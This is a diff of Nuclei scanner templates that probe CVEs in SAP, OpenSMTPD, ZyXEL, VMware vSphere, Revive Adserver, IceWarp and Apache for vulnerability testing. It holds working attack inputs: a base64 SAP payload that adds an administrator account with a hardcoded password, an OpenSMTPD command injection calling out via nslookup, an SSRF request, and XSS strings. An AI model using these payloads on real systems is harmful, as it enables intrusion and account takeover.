+          CiAgICAgICAgICAgIDxQQ0s+CiAgICAgICAgICAgIDxVc2VybWFuYWdlbWVudD4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT05GSUc+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+QWRtaW5pc3RyYXRvcjwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0NPTkZJRz4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgICAgPHJvbGVOYW1lPlRoaXNJc1JuZDczODA8L3JvbGVOYW1lPgogICAgICAgICAgICAgIDwvU0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgIDxTQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgPFNBUF9YSV9QQ0tfQURNSU4+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0FETUlOPgogICAgICAgICAgICAgIDxQQ0tVc2VyPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lIHNlY3VyZT0idHJ1ZSI+c2FwUnBvYzYzNTE8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+U2VjdXJlIVB3RDg4OTA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLVXNlcj4KICAgICAgICAgICAgICA8UENLUmVjZWl2ZXI+CiAgICAgICAgICAgICAgICA8dXNlck5hbWU+VGhpc0lzUm5kNzM4MDwvdXNlck5hbWU+CiAgICAgICAgICAgICAgICA8cGFzc3dvcmQgc2VjdXJlPSJ0cnVlIj5UaGlzSXNSbmQ3MzgwPC9wYXNzd29yZD4KICAgICAgICAgICAgICA8L1BDS1JlY2VpdmVyPgogICAgICAgICAgICAgIDxQQ0tNb25pdG9yPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lPlRoaXNJc1JuZDczODA8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+VGhpc0lzUm5kNzM4MDwvcGFzc3dvcmQ+CiAgICAgICAgICAgICAgPC9QQ0tNb25pdG9yPgogICAgICAgICAgICAgIDxQQ0tBZG1pbj4KICAgICAgICAgICAgICAgIDx1c2VyTmFtZT5UaGlzSXNSbmQ3MzgwPC91c2VyTmFtZT4KICAgICAgICAgICAgICAgIDxwYXNzd29yZCBzZWN1cmU9InRydWUiPlRoaXNJc1JuZDczODA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLQWRtaW4+CiAgICAgICAgICAgIDwvVXNlcm1hbmFnZW1lbnQ+CiAgICAgICAgICA8L1BDSz4KICAgIA==
+        </baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
+
+      # userName - sapRpoc6351
+      # password - Secure!PwD8890
+
    matchers-condition: and
    matchers:
      - type: word
        words:
-          - "urn:CTCWebServiceSi"
+          - "CTCWebServiceSi"
+          - "SOAP-ENV"
        part: body
+        condition: and
+
      - type: status
        status:
-          - 200
+          - 200
+
+      - type: word
+        words:
+          - "text/xml"
+          - "SAP NetWeaver Application Server"
+        part: header
@@ -0,0 +1,21 @@
+id: CVE-2020-6308
+
+info:
+  name: Unauthenticated Blind SSRF in SAP
+  author: madrobot
+  severity: medium
+  reference: https://github.com/InitRoot/CVE-2020-6308-PoC
+  tags: cve,cve2020,sap,ssrf,oob
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/AdminTools/querybuilder/logon?framework='
+
+    body: aps={{interactsh-url}}&usr=admin&pwd=admin&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"
@@ -0,0 +1,38 @@
+id: CVE-2020-7247
+info:
+  name: OpenSMTPD 6.4.0 - 6.6.1 Remote Code Execution
+  author: princechaddha
+  severity: critical
+  reference: https://www.openwall.com/lists/oss-security/2020/01/28/3
+  tags: cve,cve2020,smtp,opensmtpd,network,rce,oob
+
+network:
+  - inputs:
+      - read: 1024
+      - data: "helo target\r\n"
+        read: 1024
+      - data: "MAIL FROM:<;nslookup {{interactsh-url}};>\r\n"
+        read: 1024
+      - data: "RCPT TO:<root>\r\n"
+        read: 1024
+      - data: "DATA\r\n"
+        read: 1024
+      - data: "\r\nxxxx\r\n.\r\n"
+        read: 1024
+      - data: "QUIT\r\n"
+        read: 1024
+    host:
+      - "{{Hostname}}"
+      - "{{Hostname}}:25"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"
+
+      - type: word
+        part: raw
+        words:
+          - "Message accepted for delivery"
@@ -15,7 +15,6 @@ requests:
      command:
        - "systeminfo"  # Windows
        - "lsb_release -a"  # Linux
-        - "sysctl kern.ostype"  # macOS

    attack: sniper
    raw:
@@ -40,16 +39,15 @@ requests:
        regex:
          - "OS Name:.*Microsoft Windows"
          - "Distributor ID:"
-          - "kern\\.ostype"
        condition: or
        part: body
      - type: status
        status:
          - 200
+
    extractors:
      - type: regex
        part: body
        regex:
          - "Microsoft Windows (.*)"
-          - "kern\\.ostype: (.*)"
          - "Distributor ID: (.*)"
@@ -2,7 +2,7 @@ id: CVE-2020-8115

 info:
  name: Revive Adserver XSS
-  author: madrobot & dwisiswant0
+  author: madrobot,dwisiswant0
  severity: medium
  description: |
    A reflected XSS vulnerability has been discovered in the publicly accessible afr.php delivery script of Revive Adserver <= 5.0.3 by Jacopo Tediosi. There are currently no known exploits: the session identifier cannot be accessed as it is stored in an http-only cookie as of v3.2.2. On older versions, however, under specific circumstances, it could be possible to steal the session identifier and gain access to the admin interface. The query string sent to the www/delivery/afr.php script was printed back without proper escaping in a JavaScript context, allowing an attacker to execute arbitrary JS code on the browser of the victim.
@@ -34,3 +34,8 @@ requests:
      - type: status
        status:
          - 200
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -2,7 +2,7 @@ id: CVE-2020-8512

 info:
  name: IceWarp WebMail XSS
-  author: pdnuclei & dwisiswant0
+  author: pdteam,dwisiswant0
  severity: medium
  description: In IceWarp Webmail Server through 11.4.4.1, there is XSS in the /webmail/ color parameter.
  reference: |
@@ -4,7 +4,20 @@ info:
  name: ZyXEL NAS RCE
  author: dhiyaneshDk
  severity: critical
-  reference: https://nvd.nist.gov/vuln/detail/CVE-2020-9054
+  description: |
+    Multiple ZyXEL network-attached storage (NAS) devices running firmware version 5.21 contain a pre-authentication command injection vulnerability, which may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable device.
+    ZyXEL NAS devices achieve authentication by using the weblogin.cgi CGI executable. This program fails to properly sanitize the username parameter that is passed to it.
+    If the username parameter contains certain characters, it can allow command injection with the privileges of the web server that runs on the ZyXEL device.
+    Although the web server does not run as the root user, ZyXEL devices include a setuid utility that can be leveraged to run any command with root privileges.
+    As such, it should be assumed that exploitation of this vulnerability can lead to remote code execution with root privileges.
+    By sending a specially-crafted HTTP POST or GET request to a vulnerable ZyXEL device, a remote, unauthenticated attacker may be able to execute arbitrary code on the device.
+    This may happen by directly connecting to a device if it is directly exposed to an attacker.
+    However, there are ways to trigger such crafted requests even if an attacker does not have direct connectivity to a vulnerable devices.
+    For example, simply visiting a website can result in the compromise of any ZyXEL device that is reachable from the client system.
+    Affected products include: NAS326 before firmware V5.21(AAZF.7)C0 NAS520 before firmware V5.21(AASZ.3)C0 NAS540 before firmware V5.21(AATB.4)C0 NAS542 before firmware V5.21(ABAG.4)C0 ZyXEL has made firmware updates available for NAS326, NAS520, NAS540, and NAS542 devices. Affected models that are end-of-support: NSA210, NSA220, NSA220+, NSA221, NSA310, NSA310S, NSA320, NSA320S, NSA325 and NSA325v2
+  reference: |
+    - https://krebsonsecurity.com/2020/02/zyxel-fixes-0day-in-network-storage-devices/
+    - https://www.zyxel.com/support/remote-code-execution-vulnerability-of-NAS-products.shtml
  tags: cve,cve2020,rce

 requests:
@@ -0,0 +1,24 @@
+id: CVE-2020-9490
+
+info:
+  name: CVE-2020-9490
+  severity: medium
+  description: Apache HTTP Server versions 2.4.20 to 2.4.43. A specially crafted value for the 'Cache-Digest' header in a HTTP/2 request would result in a crash when the server actually tries to HTTP/2 PUSH a resource afterwards. Configuring the HTTP/2 feature via "H2Push off" will mitigate this vulnerability for unpatched servers.
+  author: philippedelteil
+  tags: cve,cve2020,apache,dos
+  reference: |
+        - https://httpd.apache.org/security/vulnerabilities_24.html
+        - https://bugs.chromium.org/p/project-zero/issues/detail?id=2030
+        - https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=443369
+        - https://nvd.nist.gov/vuln/detail/CVE-2020-9490
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    matchers:
+      - type: regex
+        regex:
+          - "Apache/2\\.4\\.([3-3][0-9]|2[0-9]|4[0-3])"
+        part: header
@@ -5,7 +5,7 @@ info:
  author: luci
  severity: critical
  description: A malicious actor with network access to the vRealize Operations Manager API can perform a Server Side Request Forgery attack to steal administrative credentials or trigger Remote Code Execution using CVE-2021-21983.
-  tags: cve,cve2021,ssrf,vmware
+  tags: cve,cve2021,ssrf,vmware,vrealize
  reference: https://www.vmware.com/security/advisories/VMSA-2021-0004.html

 requests:
@@ -0,0 +1,31 @@
+id: CVE-2021-21985
+
+info:
+  name: VMware vSphere Client (HTML5) RCE
+  author: D0rkerDevil
+  severity: critical
+  description: |
+    The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server.
+  reference: |
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-21985
+    - https://www.vmware.com/security/advisories/VMSA-2021-0010.html
+    - https://github.com/alt3kx/CVE-2021-21985_PoC
+  tags: cve,cve2021,rce,vsphere
+
+requests:
+  - raw:
+      - |
+        POST /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Content-Type: application/json
+        Content-Length: 86
+        Connection: close
+
+        {"methodInput":[{"type":"ClusterComputeResource","value": null,"serverGuid": null}]}
+
+    matchers:
+      - type: word
+        words:
+          - '{"result":{"isDisconnected":'
+        part: body
@@ -23,6 +23,7 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/error3?msg=30&data=';alert('nuclei');//"
+      - "{{BaseURL}}/omni_success?cmdb_edit_path=\");alert('nuclei');//"
    matchers-condition: and
    matchers:
      - type: word
@@ -30,4 +31,4 @@ requests:
          - "nuclei"
          - "No policy has been chosen."
        condition: and
-        part: body
+        part: body